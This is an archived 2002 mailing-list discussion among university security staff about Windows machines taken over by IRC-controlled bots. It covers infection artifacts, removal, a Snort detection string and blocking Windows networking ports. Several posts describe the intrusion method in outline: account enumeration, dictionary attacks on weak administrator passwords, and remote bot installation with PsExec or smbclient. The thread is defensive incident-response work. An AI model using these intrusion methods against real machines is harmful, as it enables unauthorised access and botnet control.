talk to be given at CanSecWest about taking down IRC based DDoS
networks. (Look for a link to the talk notes on my web page in early
May.)
--
Dave Dittrich Computing & Communications
dittrich () cac washington edu University Computing Services
http://staff.washington.edu/dittrich University of Washington
PGP key http://staff.washington.edu/dittrich/pgpkey.txt
Fingerprint FE 97 0C 57 08 43 F3 EB 49 A1 0C D0 8E 0C D0 BE C8 38 CC B5
From tal1 () its nyu edu Thu May 2 23:42:07 2002
Date: Wed, 10 Apr 2002 16:29:30 -0400
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
on
them
From: Tracey Losco <tal1 () its nyu edu>
To: unisog () sans org
We have had a number of our machines hit with this and I think that
it started when I started the discussion of the coordinated scans we
saw about 2 or 3 weeks back. One of our technicians, Christian, sent
the following message after doing some forensics on an infected
machine:
Here's what i found. On startup a file called RUDL32.EXE is executed,
this
spawns a number of sxeNN.TMP files (all random) and locates them in the startup folder. One thing i found that was different from the email [sent on unisog with infor on what files to look for] was that once the mIRC client is launched it references a mirc.ini file created by the virus
that
contains the script /run *path temp2.exe. deleting this file along with DLL32NOS[1].exe will stop the client from running. Then by deleting RUDL32.exe you stop the sxeNN processes from occuring at startup. The FTP-Serv function seemed to be absent from this infection.
Again, this only affected machines that _did not_ have their Admin passwords set <sigh>... He also had the following comments on removal after inspecting a second machine:
First of all, NAV [Norton Anti Virus] had already quartined a number of files on this machine and identified them as having been infected with a number of viruses and files associated with those: W32.lxd.mirc = Whvlxd.exe - quarantined. This was an old virus, it just places the file WHVLXD.exe in the /System folder and adds a value to the registry: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. No idea why this file was there. It's not dropping anything though. Norton picked it up and moved it, and we still had the same issues. In the registry under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run you'll find 2 instances of CMD32.exe being referenced, delete these
values.
Also, do a registry search for Firedeamon.exe. You'll most likely find it in a key called 'Filesof TypeMRU' under the 'Explorer Bars' key. Delete the entire 'Filesof TypeMRU' key. Note: you'll also find references to the current DarkIRC client in the form of sxeNN.tmp which leads me to believe that the key is created at startup - therefore deleting if may not have any effect. Firedaemon can turn any program into a system service, and is configurable from a command prompt so perhaps some paramaters were tacked on and that was why CMD32.exe was running at startup.Taking the CMD32 value out of HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run stopped service Could this have anything to do with the UNICODE exploit? Probably not, the only thing it shares in common with Backdoor.NTHack seems to be the use of FirDaemon to bind to Serv-U. I didn't check for serv-u.exe or anything like that but there were two LSAS.exe processes running on the infected machine and about 4 simultaneous FireDaemon.exe processes going on too. This is probably another mutation of the DarkIRC worm, only finding it on Win2k boxes with blank admin passwords.
It looks like there may be a few versions of this out there...or, some of the compromises weren't able to fully complete their install? If anyone can come up with better solutions on how to get rid of this, input is welcomed. :-) Tracey -------------------------------------------------------------------- Tracey Losco Network Security Analyst security () nyu edu ITS - Network Services http://www.nyu.edu/its/security New York University (212) 998 - 3433 PGP Fingerprint: 8FFB FE47 6156 7BF0 B19E 462B 9DFE 51F5 At 10:20 AM -0700 4/10/02, Allen Chang wrote:
We have been looking at this for 2-3 weeks now. The degree of infection/compromise varies. The machines compromised on our network were all Win2k without Administrator passwords. It appears that a bot is being used to compromise the machine and the owner comes around later to run sua.bat and do all sorts of juicy stuff. A probable method is using
PsExec
to start telnet. Our machines also had a directory created in C:\RECYCLYER that had the same name as the recycle bin and was attrib +s +r +h. That apparently was set as the upload dir for the XDCC bot. Also, \winnt\system32\vmn32\ contains the contents of
vmn32.exe. Including
lsass.exe, which is used to open multiple services. The IRC channel passwords are actually in one of the mirc.ini files (haven't had time to look). It probably uses strange ASCII characters but it's in there somewhere. I'm refining removal instructions right now and will forward to the list when completed. @llen Network Security Residential Computing UC Berkeley From mnx () utk edu Thu May 2 23:42:07 2002
Date: Wed, 10 Apr 2002 16:30:31 -0400
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
on
them
From: Mark Newman <mnx () utk edu>
To: unisog () sans org
Can anyone comment on the method of exploit?
Admin shares and anonymous enumeration have been the commonality with
machines here...but, *how* was this done?
the IRC controlled machines here were apparently compromised the same way
as
machines found running w32time.exe (7000/tcp ...Ataman telnet)
I already know what files were placed on the compromised machines.
Would appreciate anyone's comments on the method.
Thanks,
Mark Newman
University of Tennessee
From jtillots () pharmacy purdue edu Thu May 2 23:42:07 2002
Date: Wed, 10 Apr 2002 16:37:15 -0500 (EST)
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
on
them
From: Jenett Tillotson <jtillots () pharmacy purdue edu>
To: Mark Newman <mnx () utk edu>
Cc: unisog () sans org
On our Windows 2000 machines, I'm pretty sure this was a brute force hack
on accounts with administrator privileges. So far, all 2000 machines
we've had compromised had easy to guess passwords. Also, I have reports
of people with logs showing multiple attempts to break into accounts on
the machines - 160 total. So, I suspect it's just the top 160 possible
passwords (blank password, the name of the machine, the username, abc123,
etc.).
On Windows NT machines, it's a different story. So far, all machines that
I've seen that have been compromised were not running SP6. All machines
that have had SP6 installed were fine. All machines that were not running
SP6 were compromised. So, this is a security hole, but we're unsure what
hole that is. I've heard of a security hole in NT with the null user
request allowing access to the box in some bad way, but this is just a
rumor so far.
Jenett Tillotson
School of Pharmacy
Purdue University
On Wed, 10 Apr 2002, Mark Newman wrote:
Can anyone comment on the method of exploit? Admin shares and anonymous enumeration have been the commonality with machines here...but, *how* was this done? the IRC controlled machines here were apparently compromised the same
way as
machines found running w32time.exe (7000/tcp ...Ataman telnet) I already know what files were placed on the compromised machines. Would appreciate anyone's comments on the method. Thanks, Mark Newman University of Tennessee
From flynngn () jmu edu Thu May 2 23:42:07 2002
Date: Wed, 10 Apr 2002 17:44:19 -0400
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
on
them
From: Gary Flynn <flynngn () jmu edu>
To: unisog () sans org
Mark Newman wrote:
Can anyone comment on the method of exploit? Admin shares and anonymous enumeration have been the commonality with machines here...but, *how* was this done?
Along the same vein, I'd like to know if anyone that blocks netbios at the Internet border has seen this. -- Gary Flynn Security Engineer - Technical Services James Madison University Please R.U.N.S.A.F.E. http://www.jmu.edu/computing/runsafe
From pauls () utdallas edu Thu May 2 23:42:07 2002
Date: Wed, 10 Apr 2002 17:45:14 -0500
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
on
them
From: Paul Schmehl <pauls () utdallas edu>
To: Gary Flynn <flynngn () jmu edu>, unisog () sans org
No, we haven't seen any of this, and we've been looking.
We block 135-139 UDP/TCP and 445 UDP/TCP.
--On Wednesday, April 10, 2002 5:44 PM -0400 Gary Flynn
<flynngn () jmu edu> wrote:
Mark Newman wrote:Can anyone comment on the method of exploit? Admin shares and anonymous enumeration have been the commonality with machines here...but, *how* was this done?Along the same vein, I'd like to know if anyone that blocks netbios at the Internet border has seen this.
Paul Schmehl (pauls () utdallas edu) Supervisor of Support Services The University of Texas at Dallas AVIEN Founding Member
From huba () uidaho edu Thu May 2 23:42:07 2002
Date: Wed, 10 Apr 2002 16:03:03 -0700
Subject: RE: [unisog] Infected windows boxes with IRC controlled trojans
on
them
From: Huba Leidenfrost <huba () uidaho edu>
To: unisog () sans org
My apologies BTW for the funky attachment from my previous message.
I should have referred to it or sent it to anyone that wanted a copy.
Believe me I wasn't trying to massage everyone's MTAs in order to
find out what type of anti-virus gateway protection is being used.
I'm of the opinion that I will have to put up a honeypot pronto and
set the administrator password to abc123 and see who comes knocking.
Perhaps I can solve this puzzle.
-Huba
*** Not encrypted nor signed data is left
*** End of not encrypted nor signed data
From allen () rescomp berkeley edu Thu May 2 23:42:09 2002
Date: Wed, 10 Apr 2002 21:35:39 -0700 (PDT)
Subject: RE: [unisog] Infected windows boxes with IRC controlled trojans
on
them
From: Allen Chang <allen () rescomp berkeley edu>
To: Huba Leidenfrost <huba () uidaho edu>
Cc: unisog () sans org
I'm not too savvy with IRC but it probably isn't too hard to jump in the
IRC channel that is used for the gtbot control and watch the botmaster
control and possibly trace the IP even.
I'm pretty sure that one of the ways that the computers were compromised
was by using PSExec
<http://www.sysinternals.com/ntw2k/freeware/psexec.shtml> On computers
that don't have an Administrator password set, it's almost trivial to have
the computer download and install gtbot. The computer logs onto irc, start
the MS telnet service and you have complete control. From what I've seen
on this list, sua.bat varies. The ones we have found are very sparse and
only do the bare minimum.
Anyone have other ideas?
@llen
Network Security
Residential Computing
UC Berkeley
On Wed, 10 Apr 2002, Huba Leidenfrost wrote:
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 My apologies BTW for the funky attachment from my previous message. I should have referred to it or sent it to anyone that wanted a copy. Believe me I wasn't trying to massage everyone's MTAs in order to find out what type of anti-virus gateway protection is being used. I'm of the opinion that I will have to put up a honeypot pronto and set the administrator password to abc123 and see who comes knocking. Perhaps I can solve this puzzle. - -Huba -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com> iQA/AwUBPLTEp0pG2S0cMeJwEQJ/swCg6O2XrvGkUOVBiWguV6Cgm5Uky58AoPjB i3Zy1aTt6pIxQM8nerWNvYT/ =PdZx -----END PGP SIGNATURE-----
From morrow.long () yale edu Thu May 2 23:42:09 2002
Date: Thu, 11 Apr 2002 03:52:07 -0400
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
on
them
From: H. Morrow Long <morrow.long () yale edu>
To: Gary Flynn <flynngn () jmu edu>
Cc: unisog () sans org
We've not seen this and since the beginning of this year we've been
blocking
NetBIOS over TCP/IP (including TCP port 445) at our border with the
Internet.
We have seen similar attacks however by intruders who managed to get
access
to accounts on Unix/Linux machines inside our network and then used the
'smbclient' program to accomplish similar compromises - but on Windows 98
PCs.
The intruder used some scripts to semi-automate their probes and install
their
trojan software on the disk shares (they were actually using the 'pico'
text
editor to add invocation lines to the remote c:\autoexec.bat and various
*.INI files).
We found one such intruder in January (on multiple occassions using
different
accounts) in the act of attacking other universities (the intruder was
logging in
from yet another University) -- whom we stopped and we notified the other
universities.
- H. Morrow Long
University Information Security Officer
Yale University, ITS, Dir. InfoSec Office
Gary Flynn wrote:
Mark Newman wrote:Can anyone comment on the method of exploit? Admin shares and anonymous enumeration have been the commonality with machines here...but, *how* was this done?Along the same vein, I'd like to know if anyone that blocks netbios at the Internet border has seen this.
[ Part 2, "S/MIME Cryptographic Signature" ]
[ Application/X-PKCS7-SIGNATURE 5.8KB. ]
[ Unable to print this part. ]
From chris.cramer () duke edu Thu May 2 23:42:09 2002
Date: Thu, 11 Apr 2002 09:01:52 -0400 (EDT)
Subject: RE: [unisog] Infected windows boxes with IRC controlled trojans
on
them
From: Christopher E. Cramer <chris.cramer () duke edu>
To: Allen Chang <allen () rescomp berkeley edu>
Cc: Huba Leidenfrost <huba () uidaho edu>, unisog () sans org
In our post-mortem of one box we found the scanner called Fluxay
(http://www.netxeyes.com/down.html)
the scanner enumerates accounts and then dictionary attacks those with
administrator privileges. blocking ports 135-139 and 445 should prevent
both the enumeration and the remote access.
once the password for an administrator account is known, as you said, it's
trivial to install an IRC bot.
-c
Christopher E. Cramer, Ph.D.
Information Technology Security Officer
Duke University, Office of Information Technology
253A North Building, Box 90132, Durham, NC 27708-0291
PH: 919-660-7003 FAX: 919-660-7076 email: chris.cramer () duke edu
On Wed, 10 Apr 2002, Allen Chang wrote:
I'm not too savvy with IRC but it probably isn't too hard to jump in the IRC channel that is used for the gtbot control and watch the botmaster control and possibly trace the IP even. I'm pretty sure that one of the ways that the computers were compromised was by using PSExec <http://www.sysinternals.com/ntw2k/freeware/psexec.shtml> On computers that don't have an Administrator password set, it's almost trivial to
have
the computer download and install gtbot. The computer logs onto irc,
start
the MS telnet service and you have complete control. From what I've seen on this list, sua.bat varies. The ones we have found are very sparse and only do the bare minimum. Anyone have other ideas? @llen Network Security Residential Computing UC Berkeley On Wed, 10 Apr 2002, Huba Leidenfrost wrote:-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 My apologies BTW for the funky attachment from my previous message. I should have referred to it or sent it to anyone that wanted a copy. Believe me I wasn't trying to massage everyone's MTAs in order to find out what type of anti-virus gateway protection is being used. I'm of the opinion that I will have to put up a honeypot pronto and set the administrator password to abc123 and see who comes knocking. Perhaps I can solve this puzzle. - -Huba -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com> iQA/AwUBPLTEp0pG2S0cMeJwEQJ/swCg6O2XrvGkUOVBiWguV6Cgm5Uky58AoPjB i3Zy1aTt6pIxQM8nerWNvYT/ =PdZx -----END PGP SIGNATURE-----
From flynngn () jmu edu Thu May 2 23:42:09 2002
Date: Thu, 11 Apr 2002 09:06:14 -0400
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
onthem
From: Gary Flynn <flynngn () jmu edu>
To: unisog () sans org
Allen Chang wrote:
I'm not too savvy with IRC but it probably isn't too hard to jump in the IRC channel that is used for the gtbot control and watch the botmaster control and possibly trace the IP even.
Ideally, I would think it would be more desirable to notify law enforcement of the channel so they can set up a "sting" operation and wait for the controller to connect. Granted, the controller is likely using a compromised computer and law enforcement will likely have to backtrack but ultimately its really law enforcement that is going to have to take this thing by the handle and track down the culprits if we're ever to stop this random vandalism. Cutting off ISP accounts isn't much of a deterrent. -- Gary Flynn Security Engineer - Technical Services James Madison University Please R.U.N.S.A.F.E. http://www.jmu.edu/computing/runsafe
From sneeri () nts umd edu Thu May 2 23:42:09 2002
Date: Thu, 11 Apr 2002 13:23:21 -0400 (Eastern Daylight Time)
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
onthem
From: Gerry Sneeringer <sneeri () nts umd edu>
To: unisog () sans org
Here at Maryland, we have seen quite a bit of this in recent days. In our
case as well, each host was a win2k box w/ a weak or null administrator
password.
It appears that a worm passed through and in addition to the IRC bot,
also dropped an ftp server on tcp/22222 and an sshd on tcp/65300. The IRC
bot establishes a connection with the #Gotwarez? channel and starts
advertising that it has zero files available for XDCC transfer. At a
later point, a small number of Warez files (or DVD's) appear on the host.
The XDCC advertisement includes the string:
"Fuck Milk...Gotwarez?"
A Snort pattern match on that string produced a number of hits within a
few minutes.
I crawled into the sewer (i.e. connected to #gotwarez?) and listed the
bots and found 83 .EDU hosts from 16 different domains active. I'll be
dropping a note to each school as soon as I have a moment.
-Gerry
---
Gerry Sneeringer
IT Security Officer
University of Maryland, College Park
PGP key: http://nts.umd.edu/~sneeri/pgp.txt
PGP fingerprint: D8 31 14 26 3D 60 22 53 CB 12 A8 01 C0 BE BA 81
From mnx () utk edu Thu May 2 23:42:09 2002
Date: Thu, 11 Apr 2002 15:52:56 -0400
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
onthem
From: Mark Newman <mnx () utk edu>
To: unisog () sans org
Why hasn't any EDU CERT organization or SANS commented on this? I realize
this is *seemingly* the use of a well known vulnerability but, the kit's
footprint has to be unique enough to be worthy of mention somewhere. I
know
it *resembles* GT/Bot.
The trojaned w32time.exe is also widespread enough to be worthy of
mention.
I've counted 8 or 10 organizations on this list that have seen
this...everyone on 3/22?
We had machines on campus that were considered to be secure, had excellent
admin passwords, and are managed by very competent admins that were still
affected by the w32time.exe trojan. No way could they have cracked the
passwords with a brute force attack and not be spotted. Something is odd
about all this but, I don't know what it is yet.
Mark Newman
University of Tennessee
From Phil.Rodrigues () uconn edu Thu May 2 23:42:09 2002
Date: Thu, 18 Apr 2002 14:04:46 -0400
Subject: [unisog] Blocking Windows Networking at the Border?
From: Phil.Rodrigues () uconn edu
To: unisog () sans org
Hi,
The University of Connecticut experienced all the fun Windows hacks of the
last few weeks that everyone else did ("Got Warez?" XDCC bots,
W32Time/FluxaySensor Trojan/Password crackers, MIRC-DOS scripts), all
pretty much as a result of allowing Windows Networking across our Internet
link. With 8,500 students and a few thousand staff computers on the
network *someone* will have a weak share.
We have been considering blocking ports 135-139/445 at the routers for a
few weeks now for privacy issues (the assumption that things shared on the
"local network" are only accessible by other University computers) and
after all of this we are considering it for security reasons as well. We
have never blocked anything before, and none of us really wants to start
down this slippery slope, but user education about open shares and strong
passwords only seems so effective.
What are other schools doing to combat these types of problems? Are many
of you blocking Windows Networking at the border? Do those that choose
not to block it have compelling reasons to keep it open, or do you leave
it open because "it has always been that way"?
Thanks for your input, and shoot me a private reply if you prefer.
Phil
=======================================
Philip A. Rodrigues
Network Analyst, UITS
University of Connecticut
email: phil.rodrigues () uconn edu
phone: 860.486.3743
fax: 860.486.6580
web: http://www.security.uconn.edu
=======================================
From dgulje () housing ucsb edu Thu May 2 23:42:09 2002
Date: Tue, 23 Apr 2002 08:33:57 -0700
Subject: RE: [unisog] Blocking Windows Networking at the Border?
From: Daxter Gulje <dgulje () housing ucsb edu>
To: unisog () sans org
We began blocking said ports here at UC Santa Barbara a couple of
weeks ago, and since then the only time we've experienced the fun Windows
hacks that you mention are from students compromised prior to our blocking
those ports. Works like a charm so far, and not a single complaint yet...
(//jinx)
/Dax
__________________________________________
Daxter Gulje
Assistant ResNet Coordinator
University of California, Santa Barbara
805.893.4747
-----Original Message-----
From: Phil.Rodrigues () uconn edu [mailto:Phil.Rodrigues () uconn edu]
Sent: Thursday, April 18, 2002 11:05 AM
To: unisog () sans org
Subject: [unisog] Blocking Windows Networking at the Border?
Hi,
The University of Connecticut experienced all the fun Windows hacks of the
last few weeks that everyone else did ("Got Warez?" XDCC bots,
W32Time/FluxaySensor Trojan/Password crackers, MIRC-DOS scripts), all
pretty much as a result of allowing Windows Networking across our Internet
link. With 8,500 students and a few thousand staff computers on the
network *someone* will have a weak share.
We have been considering blocking ports 135-139/445 at the routers for a
few weeks now for privacy issues (the assumption that things shared on the
"local network" are only accessible by other University computers) and
after all of this we are considering it for security reasons as well. We
have never blocked anything before, and none of us really wants to start
down this slippery slope, but user education about open shares and strong
passwords only seems so effective.
What are other schools doing to combat these types of problems? Are many
of you blocking Windows Networking at the border? Do those that choose
not to block it have compelling reasons to keep it open, or do you leave
it open because "it has always been that way"?
Thanks for your input, and shoot me a private reply if you prefer.
Phil
=======================================
Philip A. Rodrigues
Network Analyst, UITS
University of Connecticut
email: phil.rodrigues () uconn edu
phone: 860.486.3743
fax: 860.486.6580
web: http://www.security.uconn.edu
=======================================
From paland () stetson edu Thu May 2 23:42:09 2002
Date: Tue, 23 Apr 2002 11:49:37 -0400 Subject: Re: [unisog] Blocking Windows Networking at the Border? From: Patrick Aland <paland () stetson edu> To: Phil.Rodrigues () uconn edu Cc: unisog () sans org We block everything inbound except what is explicitly allowed. We do this for a number of reasons: open windows shares, students running webservers, student running ftp sites, etc. We try to be as open as possible so if an application requires a certain port open inbound we try and accomodate, if it requires all ports open inbound than we have to draw a line somewhere. This decission was made probably 5 years ago and we really don't hear many complaints. Generally only the few that want to run webservers from their dorms. On Thu, Apr 18, 2002 at 02:04:46PM -0400, Phil.Rodrigues () uconn edu wrote:
Hi, The University of Connecticut experienced all the fun Windows hacks of
the
last few weeks that everyone else did ("Got Warez?" XDCC bots,
W32Time/FluxaySensor Trojan/Password crackers, MIRC-DOS scripts), all
pretty much as a result of allowing Windows Networking across our
Internet
link. With 8,500 students and a few thousand staff computers on the network *someone* will have a weak share. We have been considering blocking ports 135-139/445 at the routers for a few weeks now for privacy issues (the assumption that things shared on
the
"local network" are only accessible by other University computers) and after all of this we are considering it for security reasons as
well. We
have never blocked anything before, and none of us really wants to start down this slippery slope, but user education about open shares and
strong
passwords only seems so effective. What are other schools doing to combat these types of problems? Are
many
of you blocking Windows Networking at the border? Do those that choose not to block it have compelling reasons to keep it open, or do you leave it open because "it has always been that way"? Thanks for your input, and shoot me a private reply if you prefer. Phil ======================================= Philip A. Rodrigues Network Analyst, UITS University of Connecticut email: phil.rodrigues () uconn edu phone: 860.486.3743 fax: 860.486.6580 web: http://www.security.uconn.edu =======================================
--
------------------------------------------------------------
Patrick Aland paland () stetson edu
Network Administrator Voice: 386.822.7217
Stetson University Fax: 386.822.7367
------------------------------------------------------------
[ Part 2, Application/PGP-SIGNATURE 240bytes. ]
[ Unable to print this part. ]
From pauls () utdallas edu Thu May 2 23:42:09 2002
Date: Tue, 23 Apr 2002 16:10:09 -0500 Subject: Re: [unisog] Blocking Windows Networking at the Border? From: Paul Schmehl <pauls () utdallas edu> To: Phil.Rodrigues () uconn edu, unisog () sans org We've been blocking those ports for years, and we haven't had a single complaint that I can recall. When Win2k came out, we added 445 TCP/UDP to the list. As a result, we haven't experienced any of the problems that you refer to. IMO, the Windows networking environment is far too fragile to expose it to the Internet. --On Thursday, April 18, 2002 2:04 PM -0400 Phil.Rodrigues () uconn edu wrote:
Hi,
The University of Connecticut experienced all the fun
Windows hacks of the last few weeks that everyone else
did ("Got Warez?" XDCC bots, W32Time/FluxaySensor
Trojan/Password crackers, MIRC-DOS scripts), all pretty
much as a result of allowing Windows Networking across
our Internet link. With 8,500 students and a few
thousand staff computers on the network *someone* will
have a weak share.
Paul Schmehl (pauls () utdallas edu) Supervisor of Support Services The University of Texas at Dallas AVIEN Founding Member On Fri, 6 Sep 2002, Matt Yackley wrote:
Still trying to find out myself, this article from Wired seems to have the most actual info I have seen yet, but its not much.... http://www.wired.com/news/technology/0,1282,54942,00.html Also the information in the article is more of what the trojans do, but so far I haven't seen any info on how the trojans get planted in the first place..... I'm guessing that someone is taking advantage of CR/Nimda/SQLSnake infected machines to get in and plant this updated IRC backdoor... Well that's my theory anyway :) Matt -----Original Message----- From: Mike Shaw [mailto:mshaw () wwisp com] Sent: Friday, September 06, 2002 3:14 PM To: Ian Macdonald; F.M. Taylor; snort-users () lists sourceforge net Subject: Re: [Snort-users] WIN2K IRC Trojan What are the details on the trojan? I may have a copy on the way. -Mike At 03:53 PM 9/6/2002 -0400, Ian Macdonald wrote:If anyone has any details on how this works please send them to the snort-sigs mailing list so we can write some sigs. Ian ----- Original Message ----- From: "F.M. Taylor" <root () uranium indstate edu> To: <snort-users () lists sourceforge net> Sent: Friday, September 06, 2002 3:11 PM Subject: [Snort-users] WIN2K IRC TrojanDudez, wtf is up with this trojan/hack/bot/win2k exploit that seems tobespeading itself fairly rapidly. Is there a sig for this yet? Doesanyoneeven know how this thing is being spread?? -- Mike Taylor Coordinator of Systems Administration and Network Security Indiana State University. Rankin Hall Rm 053 210 N 7th St. Terre Haute, IN. SANS GSEC http://www.sans.org/ ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Snort-users mailing list Snort-users () lists sourceforge net Go to this URL to change user options or unsubscribe: https://lists.sourceforge.net/lists/listinfo/snort-users Snort-users list archive: http://www.geocrawler.com/redir-sf.php3?list=snort-users------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Snort-users mailing list Snort-users () lists sourceforge net Go to this URL to change user options or unsubscribe: https://lists.sourceforge.net/lists/listinfo/snort-users Snort-users list archive: http://www.geocrawler.com/redir-sf.php3?list=snort-users------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Snort-users mailing list Snort-users () lists sourceforge net Go to this URL to change user options or unsubscribe: https://lists.sourceforge.net/lists/listinfo/snort-users Snort-users list archive: http://www.geocrawler.com/redir-sf.php3?list=snort-users ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Snort-users mailing list Snort-users () lists sourceforge net Go to this URL to change user options or unsubscribe: https://lists.sourceforge.net/lists/listinfo/snort-users Snort-users list archive: http://www.geocrawler.com/redir-sf.php3?list=snort-users
-- Mike Taylor Coordinator of Systems Administration and Network Security Indiana State University. Rankin Hall Rm 053 210 N 7th St. Terre Haute, IN. SANS GSEC http://www.sans.org/ ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Snort-users mailing list Snort-users () lists sourceforge net Go to this URL to change user options or unsubscribe: https://lists.sourceforge.net/lists/listinfo/snort-users Snort-users list archive: http://www.geocrawler.com/redir-sf.php3?list=snort-users
Current thread:
- WIN2K IRC Trojan F.M. Taylor (Sep 06)
- Re: WIN2K IRC Trojan Ian Macdonald (Sep 06)
- Re: WIN2K IRC Trojan Mike Shaw (Sep 06)
- Re: WIN2K IRC Trojan F.M. Taylor (Sep 06)
- Message not available
- Re: WIN2K IRC Trojan Mike Shaw (Sep 06)
- Re: WIN2K IRC Trojan Mike Shaw (Sep 06)
- Re: WIN2K IRC Trojan Ian Macdonald (Sep 06)
- Re: WIN2K IRC Trojan Gary Flynn (Sep 06)
- <Possible follow-ups>
- RE: WIN2K IRC Trojan Matt Yackley (Sep 06)
- RE: WIN2K IRC Trojan F.M. Taylor (Sep 06)
- Re: WIN2K IRC Trojan Michael Scheidell (Sep 06)
- RE: WIN2K IRC Trojan F.M. Taylor (Sep 06)